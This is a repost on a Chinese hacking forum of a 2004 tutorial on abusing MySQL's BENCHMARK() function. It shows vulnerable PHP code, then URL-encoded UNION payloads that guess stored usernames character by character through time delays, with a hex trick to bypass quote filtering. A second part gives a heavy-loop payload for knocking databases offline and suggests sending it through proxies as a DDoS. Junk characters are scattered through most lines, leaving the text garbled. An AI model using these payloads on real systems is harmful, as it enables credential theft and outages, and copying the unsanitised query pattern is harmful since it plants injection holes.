找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1965|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 ' l& F7 [( T' _. l: b1 G  o
本文作者:SuperHei: @* M1 m7 s8 V2 ]( m1 _
文章性质:原创/ d, x/ F2 u! m7 P
发布日期:2005-01-02
1 E+ Z* }1 N& N! R- [' v完成日期:2004-07-09
: }0 @- ^- U0 K/ x5 Q第一部) h/ G( E' l: H9 B5 x6 ^8 P0 }- `

  L$ _8 H. r* w! k$ ~- [7 ]利用时间推延进行注射---BENCHMARK函数在注射中的利用 4 I2 W  [& g4 Q- U$ d' X& h8 g% J
) S. T+ h* q/ [9 j
一.前言/思路; z5 ~) N8 c4 x4 d( J% `. p; `

2 U: t5 L; }1 ?; w' n# B  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。9 L; I, m" ~' N6 I, N% V4 ~' i
/ x7 {- l8 u- M1 j6 X3 R: `2 `  ?3 w
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
& u) z: ^3 s+ m. p9 s6 I0 [0 [, o$ D* V# M
二.关于BENCHMARK函数: z1 P. |0 x2 o) u
7 y$ }/ c* H$ j  i
  在MySQL参考手册里可以看到如下描叙: - E, X. Y. ?: R+ Y6 K# Q3 H6 \

7 j7 Q' T8 c7 \# @0 U% N. P: k! l- ]# e1 ?: Z
--------------------------------------------------------------------------------$ ]) D' z& h9 S- U4 A

+ C7 N8 ^+ {: z: u3 eBENCHMARK(count,expr)
1 m. i* @$ W9 w+ h' [9 rBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 & [, W9 O, m+ ~& D9 L7 Y8 \  F
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
( h" Y2 Q" Z3 v% `+ U! |# \) f6 S1 u+----------------------------------------------+
" p2 ]; v% ?: D  K| BENCHMARK(1000000,encode("hello","goodbye")) |
# O$ U! i8 N# A7 h4 }  Z1 G# ], x+----------------------------------------------+ ' y. I3 T* m% z' {0 }
| 0 |
: b2 a" ^/ e% ?( ^1 k( x+----------------------------------------------+ , f6 c9 A' s) A" W  x0 ?
1 row in set (4.74 sec)
$ p+ h+ p( c3 f8 ~2 p/ C
+ G8 _" r  i, L* ]4 s" t, j报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。3 S& o; U; j+ s  u8 W$ l
( d% z' i1 E' r8 F

1 w. @9 [8 m% F2 O--------------------------------------------------------------------------------
& k5 c  e" r4 h: ]/ a: E$ {
1 w1 _5 a8 M( @! a# w/ T' W  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
0 X1 |- a1 u1 }+ p# j& l8 P, f% i$ ~; R1 ~+ H7 w. [2 g2 s9 a0 |
mysql> select md5( 'test' ); " `/ T- Z# p, T  j" R
+----------------------------------+
5 `: c  J8 y4 ^| md5( 'test' ) |
% W' x3 J" \3 B1 _+----------------------------------+
: V; d# L& l5 J/ z. v| 098f6bcd4621d373cade4e832627b4f6 |
! }8 s5 R7 f! b! n0 I* [+ A4 U+----------------------------------+ 4 l0 [/ u4 m4 C/ t+ g. g! k
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 4 \; M  _8 Y3 T
& R# l4 s2 V2 S- w
mysql> select benchmark( 500000, md5( 'test' ) ); 7 c1 F' N0 @- i" I0 @) {6 A
+------------------------------------+
9 E$ `- B$ S5 D| benchmark( 500000, md5( 'test' ) ) | 7 D9 f% q( ~  u+ |4 B' J5 l8 Q
+------------------------------------+ # p* x8 K+ ]9 @) J
| 0 |
& |0 D1 R4 _% }/ F$ o5 `) O& U+------------------------------------+
0 n  u& G2 j. Z; K0 B# m0 o0 ?1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
! Y4 ^' b* ]6 O# E 8 i' L2 K. i1 p8 Q% g$ O

/ G& v9 t, f$ [' S. `" K, `) @  X  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
9 `( w5 W( T% l4 ]5 Y$ e6 P- Z9 q3 K+ R6 R  E# _
三.具体例子
- B' T$ [$ T' _$ O7 b
2 i, r1 o9 q, Z$ Y; }  首先我们看个简单的php代码:5 ~6 J, ?$ T. O  K7 Q

4 l" r' u% ~. z# }< ?php 3 ~8 x6 _) \9 |1 ?% O
$servername = "localhost";
; M" S7 c3 t: o- N& V9 s+ m7 k  ^$dbusername = "root";
# s6 n4 v2 h: U$dbpassword = "";
! q) K/ E* J) d( C' J$dbname = "injection";
! O( `4 K8 m1 o6 ^- g: V" v
/ \1 L$ [5 j% A5 `4 }mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
0 s: z3 Z# o4 V- H
/ r1 J& g, F% ^1 Y+ i4 r( @1 S$sql = "SELECT * FROM article WHERE articleid=$id"; # H7 P  l. g- S! _" H6 u
$result = mysql_db_query($dbname,$sql); : g6 e6 o! d: K! f- a9 R6 }
$row = mysql_fetch_array($result); * G/ Q) `. X2 a2 ^: k5 [  j2 A
- |/ m$ z9 Q. y* b# H7 Q1 C, z
if (!$row) ( k4 h8 q, F* x
{ 4 T4 J4 e8 A: p: L% I* b5 M
exit;
  `( Y3 r% W0 {$ L# t0 t. d& c9 Q}
1 J+ h; v) e) c?>% q* v! f% e  \5 D* R# k' ^
, ^* y9 ^7 [, |+ s
( X; _! Q" ~  F8 i+ s. B
  数据库injection结构和内容如下:
! T- `7 l* n) ?6 s3 Y+ M' g4 T5 X( S$ t! q
# 数据库 : `injection` ! _6 j8 r  m! u- f( A6 e
#   l5 M9 l2 G! A/ ^5 T5 t
# [4 Z4 G5 n& Q7 `
# --------------------------------------------------------
) A7 i3 X2 C( X$ t$ ^) M. c) n& w) L2 f% q9 w; g4 t
#
: ?# y3 b5 [4 c# ]0 A( O# 表的结构 `article` # R$ m% N3 j7 P9 q" C7 l% u, T( ]
# - r  i! p7 ?# ~5 d

: U+ }8 Q/ r6 D8 `2 A7 PCREATE TABLE `article` (
: f. D- B% e* v) g`articleid` int(11) NOT NULL auto_increment, ) h% M3 C' u% O) b  k; c
`title` varchar(100) NOT NULL default '',
: _$ C) o( f7 |% V$ |" n7 i`content` text NOT NULL, : W8 {* y. b8 n* D
PRIMARY KEY (`articleid`)
6 [" d  ]+ g/ g3 w) TYPE=MyISAM AUTO_INCREMENT=3 ;
' Q& j4 a+ q, w. c" i
4 X) Q! y1 Q6 u2 i9 }8 v6 Z#
+ Z7 P: X1 B6 P1 d. F# 导出表中的数据 `article` 3 U' m1 L0 q5 Q# x* b
#
9 S* L" T1 D) j7 T; c! J* u* ~4 P) K& J  w5 E
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
6 i: W/ T7 w: n2 a; V1 j. OINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); # ?$ P. k! J: V- r1 J3 u

3 T# r+ N# N$ d/ [: ]& @# --------------------------------------------------------
9 t7 S# W5 ~* w' R" `. F  ?  v4 O3 O! n4 I/ ~$ T- l( ]
#   V5 e( y0 M$ Z( n
# 表的结构 `user` 2 t. S0 K  X' r# D9 {& P
#
- F7 T2 O2 y5 [, [1 E% ^
8 _: A9 D4 X+ z- K/ }CREATE TABLE `user` (
: r4 E; d1 k& S+ i`userid` int(11) NOT NULL auto_increment,
* L' y' u$ X, Z6 s, h`username` varchar(20) NOT NULL default '', $ g3 M# t( x8 O% ?
`password` varchar(20) NOT NULL default '', $ U8 I6 O& z0 U4 [9 y( I
PRIMARY KEY (`userid`)
' ^5 u( O9 z% I3 q. q) TYPE=MyISAM AUTO_INCREMENT=3 ;
, D& {5 A  |& O) \5 F8 Z$ n8 u9 t# u3 s3 v8 e
#
0 ~9 O3 c" m% X3 h$ R! X7 M# 导出表中的数据 `user` % o- Y: c: j5 a  D# m+ f
#   K5 b0 o& K# u: R; h
) x- }# I9 {/ g3 F5 a0 T( F
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
6 N  @, v0 i) A# p3 ]( G; bINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');1 Q, n& q9 \! H+ a2 ^% d! U

& _5 g* A2 j0 N' m8 q. n7 W- ]) s% K5 N/ X- N$ [* U% p
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
& ~, s8 q+ X7 [5 Q
1 D1 C$ y5 u6 t8 R; xid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*/ M7 g6 C/ v$ k

6 c% w+ U: s* D6 r7 w( q8 J1 r3 Z" Y6 z
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
; `7 z) u8 r2 }2 I/ y1 _. Z. ]6 S" C4 F4 }2 y. C% p4 H
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
: R% Q1 }7 a, A& A" O1 y0 S
# w5 A# P$ u# K8 d* a* d3 P: ?# ~% _
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 7 O% L* O" ^/ X& ^, _8 ~, Q; X  {

% Y/ `9 b3 u5 J9 d: s0 S. M/ ]0 ?  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
  I. _5 f$ |0 R
1 W3 q# ]6 S% V! ~. ^! m/ Z第二部6 R- T1 ]& U- ^4 g5 V

! a. t# y) l# D: e/ y  p利用BENCHMARK函数进行ddos攻击 " F% ]7 `+ H  M1 `' e# \

  a: w9 p) e  ~; Y  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
  y: Y4 v) M3 C: U; G  C$ J
3 l6 A1 k* k+ z* g9 ihttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
) O# C+ h3 w+ J2 N! o
2 g# A) m  X" I6 E
! _9 I2 n* X. l( W小结2 i4 m+ q( h2 J

: T9 l; {1 i3 _# s  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。) M+ \; \2 d( l2 w; F4 W

# ~9 u1 }, g7 D' N* W  4 x9 v6 e9 C8 I# R  L: z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表